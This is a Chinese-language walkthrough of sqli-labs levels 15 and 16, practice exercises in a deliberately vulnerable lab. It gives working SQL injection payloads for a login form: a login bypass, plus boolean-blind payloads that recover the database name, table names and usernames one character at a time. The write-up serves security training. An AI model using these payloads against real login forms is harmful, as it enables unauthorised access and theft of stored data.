sqli-labs练习(十五)— POST-Bind-Boolean/time Based-Single quotes
同样,使用万能密码即可登录成功,进过几次注入尝试发现是基于布尔型的盲注。
万能密码:123' or 1=1#
,即可登录成功。
基于布尔型的sql注入稍微麻烦,因为要不断的测试,根据页面的反应来猜测后台数据库信息。
下面直接放payload:uname=1' or (select ascii(substr(database(),1,1)) > 100)#&passwd=&submit=Submit
,登录成功。说明数据库第一个字母的ascii值大于100
经过不断的测试发现,数据库第一个字母的ascii值为115,
构造payload:uname=1' or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100)#&passwd=&submit=Submit
,猜测当前数据库的表名,成功登录,说明当前数据库中的表名的第一个字母的ascii值大于100
根据这种方法,最终可以得到表名。
猜测数据库中的数据。
payload:uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) >100)#&passwd=&submit=Submit
,登录失败,说明表users
中的用户名的第一个字母的ascii值不大于100
依次测试,最终可以得到数据库中的数据。
sqli-labs练习(十六)— POST-Bind-Boolean/time Based-Double quotes
尝试登录发现是基于双引号的变形,
payload:uname=123") or 1=1# #&passwd=&submit=Submit
,登录成功。
第16关和第15关很类似,都是基于布尔型的注入,唯一的区别就是第16关采用的是("")
的形式来引用变量uname,
所以在构造payload的时候只需要把'
替换为")
就可以了。